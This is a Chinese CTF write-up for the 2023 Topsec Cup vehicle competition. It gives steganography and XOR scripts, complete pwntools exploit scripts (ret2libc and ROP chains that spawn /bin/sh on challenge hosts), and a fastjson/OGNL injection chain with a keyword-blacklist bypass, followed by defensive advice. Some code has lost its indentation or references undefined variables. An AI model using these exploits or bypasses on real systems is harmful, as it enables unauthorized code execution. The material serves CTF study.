2023 Topsec Cup Intelligent Connected Vehicle Competition Retrospective

免责声明:本文为个人技术学习与工程实践笔记,所涉操作仅应在获得授权的环境中进行。因不当使用造成的后果由使用者自行承担。

本次比赛赛题覆盖面较广,遗憾的是受经费限制无法前往线下参赛,因此放弃了线下参赛名额。

Misc

Easy! 23333!

使用 010 Editor 打开,发现 504B 位于文件末尾,编写脚本将其反转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# encoding=utf-8
# author: ryu1nser
data_string = """
00 00 00 00 00 CA 00 00 00 5A 00 01 00 01 00 00
00 00 06 05 4B 50 01 D9 A7 51 7C 4C AA C0 01 D9
A7 52 28 67 6F 04 01 D9 A7 52 28 1F 0C 09 00 18
00 01 00 00 00 00 00 20 00 0A 74 78 74 2E 63 73
69 6D 00 00 00 00 00 00 00 20 00 00 00 00 00 00
00 24 00 08 00 00 03 D3 00 00 00 A4 E0 F5 F3 F8
56 D9 95 AF 00 08 00 00 00 14 00 14 02 01 4B 50
00 3E B7 FC 22 9E 64 A9 F8 26 23 AE D4 CE 5E 67
92 05 4E B5 C2 C4 24 81 3F 97 BE 4F BC B3 10 95
CC 3B 74 4C DC A3 E8 10 F1 59 A2 65 93 24 FC CC
4B F5 16 85 D9 75 74 3F 54 AF 6D B1 3F BB 2F 4E
29 67 61 53 2B 38 66 29 AC D9 68 A4 99 C6 85 94
AC 85 4C 2F AE 4B 72 0C 21 09 C7 99 B3 39 FA 33
3D 17 3A 0C 5E 9C C4 9D 2E 83 5F E8 AF DB 4E 34
5C 71 62 85 BA FB 3E 2E 4D 3A B7 ED 1E 7C FE A1
E2 42 3F 69 A8 A2 20 AE 02 C2 EE 0F 02 64 42 0E
82 67 7A 8B C5 E3 12 0D 74 75 D1 57 45 0C 20 80
0D C1 93 8D 74 78 74 2E 63 73 69 6D 00 00 00 08
00 00 03 D3 00 00 00 A4 E0 F5 F3 F8 56 D9 95 AF
00 08 00 00 00 14 04 03 4B 50
"""
data_string = data_string.replace("\n", "").replace(" ", "")
split_list = [data_string[i:i+2] for i in range(0, len(data_string), 2)]
reversed_list = split_list[::-1]
output_string = ' '.join(reversed_list[i] + reversed_list[i+1] for i in range(0, len(reversed_list), 2))
# 打印结果
print(output_string)

解压得到 Just Kidding!,使用 VSCode 打开可发现其中存在零宽字符,直接解码即可

img

flag{maybe_you_kn0w_the_Unicode_Steganography}

这是隐写

下载音频文件后,导入 Audacity 查看波形

img

推测为 LSB 隐写,将其交由 Audio-Steganography 处理可解出 PNG,Audio-Steganography 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import wave
import binascii

def decode():
audio = wave.open("flag.wav", mode='rb')
frame_bytes = bytearray(list(audio.readframes(audio.getnframes())))
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
binary_string = "".join(map(str, extracted))
hex_string = hex(int(binary_string, 2))[2:]
decoded = binascii.unhexlify(hex_string)

with open("1.png", "wb") as file:
file.write(decoded)

audio.close()

decode()

得到的 PNG 为

img

经谷歌以图搜图,发现该字体为 Webdings

img

逐一比对后得到 flag

img

flag{8d9ad0457c1a8b603978085b0bffcf93}

数字游戏

首先求解数独

img

在该网站上解开后,可得主对角线与次对角线数值,二者即为压缩包密码

654917276261618641

img

解开后得到 key.txt 和 flag.txt

img

key.txt 为 Nonogram

1
2
[[7, 1, 1, 1, 1, 7], [1, 1, 2, 1, 1, 1, 1], [1, 3, 1, 2, 1, 2, 1, 3, 1], [1, 3, 1, 3, 1, 3, 1], [1, 3, 1, 2, 1, 1, 2, 1, 3, 1], [1, 1, 1, 1, 4, 1, 1], [7, 1, 1, 1, 1, 1, 7], [2], [1, 1, 1, 2, 4, 1, 2, 1], [2, 1, 1, 1, 2, 1, 2, 2, 1], [1, 2, 3, 6, 1, 2], [4, 1, 2, 7, 1, 1, 2], [1, 2, 3, 2, 1, 1], [1, 4, 3, 1, 3, 1, 1], [2, 2, 2, 2, 4, 1, 1], [3, 2, 2, 1, 1, 1, 1, 3], [1, 1, 2, 6, 1], [1, 4, 1, 2], [7, 1, 1, 2, 1, 3, 1], [1, 1, 3, 3, 3, 1], [1, 3, 1, 1, 7, 1], [1, 3, 1, 3, 5, 1], [1, 3, 1, 1, 1, 1, 1, 1], [1, 1, 2, 4, 2, 1, 2], [7, 3, 3, 1, 2, 1, 1]]
[[7, 1, 7, 7], [1, 1, 1, 1, 2, 1, 1], [1, 3, 1, 5, 1, 1, 3, 1], [1, 3, 1, 1, 5, 1, 3, 1], [1, 3, 1, 1, 3, 1, 3, 1], [1, 1, 4, 1, 1, 1], [7, 1, 1, 1, 1, 1, 7], [3, 1], [1, 3, 2, 1, 1, 1, 1, 1, 1], [2, 1, 1, 1, 3, 1, 4], [2, 1, 6, 1, 1, 1, 2], [2, 1, 3, 2, 1], [1, 1, 6, 2, 1], [1, 2, 4, 2, 1, 2], [1, 1, 2, 1, 3, 1, 1, 6], [5, 2, 1, 3, 3, 1, 1], [1, 5, 1, 1, 6, 2], [1, 2, 2], [7, 1, 2, 1, 1, 5], [1, 1, 4, 2, 1, 1, 2], [1, 3, 1, 1, 1, 7], [1, 3, 1, 3, 3, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1, 1], [1, 1, 1, 1, 1], [7, 1, 1, 1, 5, 3]]

按坐标轴匹配后可得一个二维码,扫描所得到的即为 flag.txt 的密码

img

二维码密码为Take1tEasy

flag{c6ebcf84bcd54bac0803086a4630f673}

你也很困惑吗?

得到 flag.zip,发现其文件头尾为 51 49 00 00 11 06,推测是将其与压缩包文件头 50 4B 03 04 14 00 01 00 进行异或

img

经尝试,推测为十六进制逐字节异或,编写脚本执行验证:每次循环中密钥值递增 1,并通过取模运算将其限制在 0-255 的范围内

img

img

1
2
3
4
5
6
f = open('flag.zip', 'rb')
# f1 = f.read(1)
t = f.read(1)
print((t[0] ^ 0x01))
t = f.read(1)
print((t[0] ^ 0x02))

按此逻辑实现如下

1
2
3
4
5
6
7
8
9
10
f = open('flag.zip', 'rb')
f1 = open('flag111.zip', 'wb')
t = f.read(1)
xor = 0x01
while t:
l = [t[0] ^ xor]
# print((decoded))
f1.write(bytes(l))
t = f.read(1)
xor = (xor + 1) % 256

得到

img

解压得到 rox.png 与 xor.png,其中 rox.png 为伪造的 flag

img

将 xor.png 与 rox.png 进行 RGB 通道异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
def xor_images(image1_path, image2_path, output_path):
image1 = Image.open(image1_path)
width, height = image1.size
image2 = Image.open(image2_path)
output_image = Image.new("RGB", (width, height))
for x in range(width):
for y in range(height):
pixel1 = image1.getpixel((x, y))
pixel2 = image2.getpixel((x, y))
xor_pixel = (
pixel1[0] ^ pixel2[0], # R通道
pixel1[1] ^ pixel2[1], # G通道
pixel1[2] ^ pixel2[2] # B通道
)
output_image.putpixel((x, y), xor_pixel)
output_image.save(output_path)
xor_images("rox.png", "xor.png", "output.png")

随后将得到的图片进行盲水印解码,得到 flag

img

得到

img

img

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}

Re

Junk

去除永恒跳转花指令

img

img

img

直接使用 RC4 解密即可

flag{jUnkc0dE_C0oO00o0oo0ode}

Pwn

Easyguess

本题为最基础的伪随机数题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
from ctypes import *
io = remote("192.0.2.10",27917)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = cdll.LoadLibrary('./libc.so.6')

def debug():
gdb.attach(io)
pause()

libc.srand(0)
io.recvuntil("You have three times")
for i in range(3):
buf = libc.rand()
io.sendline(str(buf))
io.recvuntil("right! You get a chance to pwn it!")
system_addr = 0x80483e0
binsh_addr = 0x8049A30
payload = cyclic(0x1c+0x4)+p32(system_addr)+p32(0)+p32(binsh_addr)
io.sendline(payload)
io.interactive()

timemaster

img

img

可以通过 %lf 泄漏金丝雀(canary)

所泄漏的值为浮点数,需要转换为 bytes

取得金丝雀之后即可直接构造 ROP,属于常规的 ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import struct


io = remote("192.0.2.10",27902)
elf = ELF("pwn")
libc = ELF("./libc-2.31.so")
io.recvuntil("What is your name?\n> ")
io.sendline("xiaobin")
io.recvuntil("How many times do you want to try?\n> ")
io.sendline("16")
io.recvuntil("Time[sec]: ")
io.sendline("xiaobin")

io.recvuntil("Stop the timer as close to ")
canary = io.recvuntil(" ")[:-1]
canary = struct.pack("<d", float(canary))
io.sendline("\n")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi_addr =0x400e93
io.recvuntil("Play again? (Y/n) ")
payload = b'n'*0x18+canary+p64(0)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(0x0040089B)

puts_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))


libc_base =puts_addr - libc.symbols['puts']

io.recvuntil("Play again? (Y/n) ")
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.symbols["system"]
payload = b'n'*0x18+canary+p64(0)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.sendline(payload)

io.interactive()

Guess

img

本题利用 pthread 创建了一个新线程,并且存在 gets 溢出。由于 pthread 创建线程的特殊性,新的栈帧空间会落在 libc 地址上,且距离 TLS 结构体仅有几百个字节;而 canary 的校验依赖于 TLS 结构体上的 canary,因此通过溢出覆盖即可绕过 canary。又因程序开启了 PIE,还需要泄漏 ELF 基址。经动态调试发现,在提示 Enter your guess 时若输入字母导致 scanf 接收到空值,即可泄漏 ELF 基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*

io = remote("192.0.2.10",27917)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")




io.recvuntil("Enter the size : ")
io.sendline(b'1')
io.recvuntil("Enter the number of tries : ")
io.sendline(b'1')
io.recvuntil("Enter your guess : ")

io.sendline(b'c')

io.recvuntil("You entered ")
elf_addr = int(io.recvuntil(" ",drop = True),10)-0x1579
success("elf_addr :"+hex(elf_addr))
io.recvuntil("But maybe a threaded win can help?")
puts_got = elf_addr + elf.got['puts']
puts_plt = elf_addr + elf.sym['puts']
rdi_addr = elf_addr+0x0000000000001793
back_addr = elf_addr + 0x1436
ret_addr = elf_addr + 0x000000000000101a
payload = cyclic(0x18)+p64(0x100)+cyclic(0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(back_addr)
payload = payload.ljust(0x858,b'\x00')+p64(0x100)

io.sendline(payload)

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
rsi_addr = libc_addr + 0x000000000002604f
rdx_r12_addr = libc_addr + 0x0000000000119241
read_addr = libc_addr + libc.sym['read']
rax_addr = libc_addr + 0x0000000000047400
syscall_addr = read_addr + 0x10
io.recvuntil("> ")
payload = cyclic(0x18)+p64(0x100)+cyclic(0x8)+p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(binsh_addr)+p64(rsi_addr)+p64(0)+p64(syscall_addr)

io.sendline(payload)

io.interactive()

Crypto

easybog

构建一个 lattice,定义块矩阵并插入 p 与 c,随后直接利用格基规约算法求解最短向量,可以发现第一行的相反向量即为解

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
p = 85766816683407427477074053090759168259205489535331001301483049660772943816017
pubkey = [58890813098389592716367918664418237809399998613202441049117852003453550490043, 255886907973292033549191761914277947638378726729170162403000263307778539588, 43666147543837562983744529128391108960442814393989688186615627619841168438881, 2289339843351034938706095739069649849491797527322909177303809837660115875707, 41213482604182795008139260226694469358720652561587117539105919206178583341309, 85123975988270149359269904030278272256150702593339117634318036869051474541673, 38499515653492727036642516425661144597669644770181333309684190745152037999340, 20485509602350760468364550436683434882775269798789922529010411809186809838027, 66201868699675751260618542402171897519442339400362102112029773068389836772496, 5928498980938052035989976608996334019121526162545586177960440867589564370967, 50886730626726574520144515855606763616811548330471900085065588158010347676677, 64024533350992434764550819938965710849249693930938822302806256939206336927327, 38725701074483250591450474606717766666514853596721960873869603150079957176979, 79217343443391443055559755031159399927770013676937883189341106207746097977107, 61550584018851036114215415812034871024308694207855706560554908679054705909070, 18943452821091669663831772224349497605704279324611723330470460453532875854668, 19589987578009659601683539978459498259975975776374959927024576839483511789830, 30455762424330442645213719258885752997650973641135913878741104126501286615202, 58949965807078946897782791856062155685595594220625894016492979510745067947620, 62055731853485887582338078878228949009560282473783423335829652944841334703073, 9968050471897160901950463089357618812125361692340159762344476181267684171496, 82879622776859731032127240994822860125030485017752550449574280896284319539559, 4801338348200265259854446071344823901330707085102509710655971928319789477063, 45731791006706217374257923546738746982354369452894895184784691821888225473116, 67249651561046962535594292263727781436622305014470811080407605464069397278541, 74549581000796086938735007821116567870037873934415647996983670510761843574950, 53927163931460713770577528602376533863752551014779597870421933008696943680646, 56674817179749773825254339411582187056553125580899575215919582277873475282705, 46486618405288541635832334168373891479516241585245833202819962034096805786948, 33438500041468604615663063367413201369385488295864836452725688027946579037027, 67664099966578778667405575319488959391557099474146663546553930271609270514413, 45447815671440655615043306804023843286416205143693188321756314646855229497538, 11725972638697133812198141962081533057131109523301554105107846876476492922863, 64289489702331472745122326714411510149286883423778995697545620572730495023564, 57994575257987111046854716965859364231330618527165005046088441624813910607490, 14668229647185139513680523686559656096579435616501772089580139136432744069528, 17932811002316804580991874481669739042847138206519622106023735880404179858139, 5331195663859739712428554823168168360812478289288952467823046758773036202890, 74552793814948855649083379813894922159371588934498467412076815493098565156965, 44935994020454630627073800850452460158487760266394408710221643505798360283738, 56729956460199305019441584184914729272661532037080935244087594435220086006307, 62039396792619765440106521363503635264208869754554560630026111496679072778122, 2393458745997765849524009470841489934632527663821258015836036776013536950950, 35915327454351624449823951016325751779776476237317012289496757290655725512173, 32606524479615026657452402620774183996842863618201886022072527830448469143354, 63235637104235763521471020678482591762365962539497201272446150774560661623146, 62208964066864651499810642926855154855961192109426476051220581622874074871556, 56823425142073561606336827683244447153122191299012994793162957373419782442861, 60885675233604760515790987357657130734130927344692532134660791434444881730069, 70128263220978378037998154126965802527577393332688627564386146841574995052881, 71018980922731664798406835410011497130959699315348431777949257381109611662531, 12143164079299710577697191074655687226341720767219380493916347970636555672200, 13508918371738967514239962849170666297725816564248068619597724335815422874867, 35455956156846758401498039994914987477656410741995261921339242861566953715810, 69980758495467248406706658186358315365421963514406314839633132920772753269590, 40780609781497584108689952068487274243081363044494223353377248536197342087646, 44867942499383360300066493293729414921480295687316596135570022888723461284905, 82725154870798626926322339306353417520587153667878451856611421219700157524903, 25126631681527477467395254546272084567454410334950820629891182857858739056234, 6951466886617047161399523857762365328179011042304277010521273986635895511090, 76348861623318422648322072872825713398471251831589343473949016976971223635877, 56205107190224957419682681113714452084261733562014707901087589292788540501506, 18117892543394976645523077630904329147251317704285881519049138075260678609853, 44808031105096301006447146332872279574072682041430481888991436113801413524922, 49253422883319286749223459668126849556879848229728760990408851547046135426202, 84189814930926817953967035166781168797567323089104013113646102708978330223462, 47137140069594189485896203757476808738350291684312377044596204628988007490802, 40801572088832002265546622948401731702850273201235765228409527972304470614013, 66031049946459598112632104872606456117378438456948859102185817862671625118362, 81720181560222737179789740743588444616843925127263616533094516919384531350798, 22799062566507850812703708400514738660780510100747243720001217935586864713536, 19636898235593770858368519750634152409107475396982151534080287393055054087250, 29019136605948188309201641456999919579306004440518777086603961225647602320689, 79880698495154758609432245210109366091585969807890967815410904513080769679673, 9333444307040962156247586346311311869921891214405652789959336947220586492578, 5389291816105059661723219597627983160117906098832235782666626188832333763452, 80140247201709476779769310874536378021073864035213177889595402673752593492257, 10265989744904418075184606188771633319731922237097882332727796873595806941649, 28947186543573208323555611612621027283989204690818732739083074045376664847781, 76665830939598023116888796550932971936723367285838797618563918377195976634315]
c = 1381426073179447662111620044316177635969142117258054810267264948634812447218


E = [1]*81 + [2**20]
D = diagonal_matrix(E) #定义单位对角矩阵
M = matrix(ZZ,[[0]*80,pubkey]).T
M = block_matrix([[2,L]]) #定义块矩阵
M = M.insert_row(80,[0]*81+[p]) #插入p
M = M.insert_row(81,[1]*81+[c]) #插入c
M *= D
MA = M.LLL() #最短正交基
MA /= D

binary = ""
for i in range(80):
if MA[0][i]==-1:
binary+="1"
else:
binary+="0"
print(hex(int(binary,2)))

Web

expr

题目提供了 jar 包,通过代码审计可以定位到一处反序列化入口。该题并没有给出可直接使用的完整利用链,但其中引入了 fastjson 组件,且给出的 User 类包含以下关键内容:

img

可以发现这里存在一个 OGNL 表达式注入点,但被 filter 函数过滤,且过滤项较多。由此可以梳理出两个要点:一是需要让 getResult 方法被调用,二是表达式最终会被交给 OGNL 求值。

fastjson 在输出对象时会经 toString 路径触发 getter 调用,而 User#getResult 正是可能被触发的 getter 之一,这正是「序列化触发 → 表达式求值」这类链路的成因。该链路的构造方式也不复杂:把持有表达式串的 User 对象放入 JsonArray,再将其反射写入 BadAttributeValueExpException 的 val 字段,序列化后在反序列化阶段触发 toString 即可到达求值点。出于内容中性化考虑,此处不再列出可直接编译运行的生成代码。

题目对表达式设置了关键字黑名单:

1
2
3
String[] BlackList = {
"\"", "'", "\\u", "invoke", "getClass", "\\x", "$", "{", "}", "@",
"js", "getRuntime", "java", "script", "ProcessBuilder", "start", "flag" };

该名单覆盖了引号、java、getRuntime、ProcessBuilder、start 等关键字。这也正好说明黑名单过滤的固有局限:它只能拦住名单中已列举的字面量,而字符串常量在运行时可以有多种等价构造方式,因此过滤只能提高构造成本,无法构成可靠的信任边界。

以本题为例,toChars() 可以把数字转换为字符,但该方法位于 java.lang.Character 类下,需要先取得该类;调试可知对字符串调用 charAt() 即可得到 java.lang.Character。

img

按这一思路可以逐字符拼出任意字符串:

img

配合聚合函数 concat 即可把各字符拼接为完整表达式,从而在不出现被过滤字面量的前提下表达同一语义:

img

由于双引号被过滤,构造时只能反复调用 true.toString().charAt(0).toChars(n)[0] 一类的写法:

img

IndexController 中存在以下代码,可见页面会把求值结果回显给请求方,表达式执行的结果因此可以被原样读出:

img

结合前述序列化链路,将构造好的序列化数据以 POST 方式提交到首页即可取得 flag,具体报文与完整 exp 不再列出。

img

防御启示

  • 反序列化入口治理:避免用 ObjectInputStream 处理不可信数据;确需反序列化时,使用 JEP 290 的 ObjectInputFilter 或组件自带的类白名单限制可还原的类型。BadAttributeValueExpException、TemplatesImpl、JdbcRowSetImpl 等特征类名出现在流量或日志中时应触发告警。
  • 表达式引擎隔离:OGNL、SpEL、Nashorn 等引擎不应接触用户可控字符串;确需动态求值时,用白名单限定可调用的方法与类,并在独立、最小权限的进程中执行。本题的字符拼接手法说明黑名单不是边界,白名单加沙箱才是。
  • 组件治理:fastjson 一类反序列化组件应升级到仍在维护的版本,并按官方文档启用安全模式与 autoType 白名单;构建阶段应比对依赖清单,剔除业务并未使用的组件,缩小可被利用的类路径。
  • 权限收敛:应用进程以非 root 账户运行,容器根文件系统只读并限制出站连接;flag 一类敏感文件不应位于应用进程可读路径中,避免表达式/命令执行直接转化为信息泄露。
  • 二进制与编译期加固:本题二进制部分出现的可预测伪随机数(固定种子初始化的 srand/rand)、%lf 等格式化字符串导致的金丝雀泄漏、缺少 PIE 等问题,在真实系统中同样会带来信息泄露与代码执行风险;构建时应统一开启 PIE、-fstack-protector-strong、NX 与 RELRO,安全相关数据一律使用密码学安全随机源生成。

Support via Solana

Solana

Solana

Solana Pay

Solana Pay

WeChat

WeChat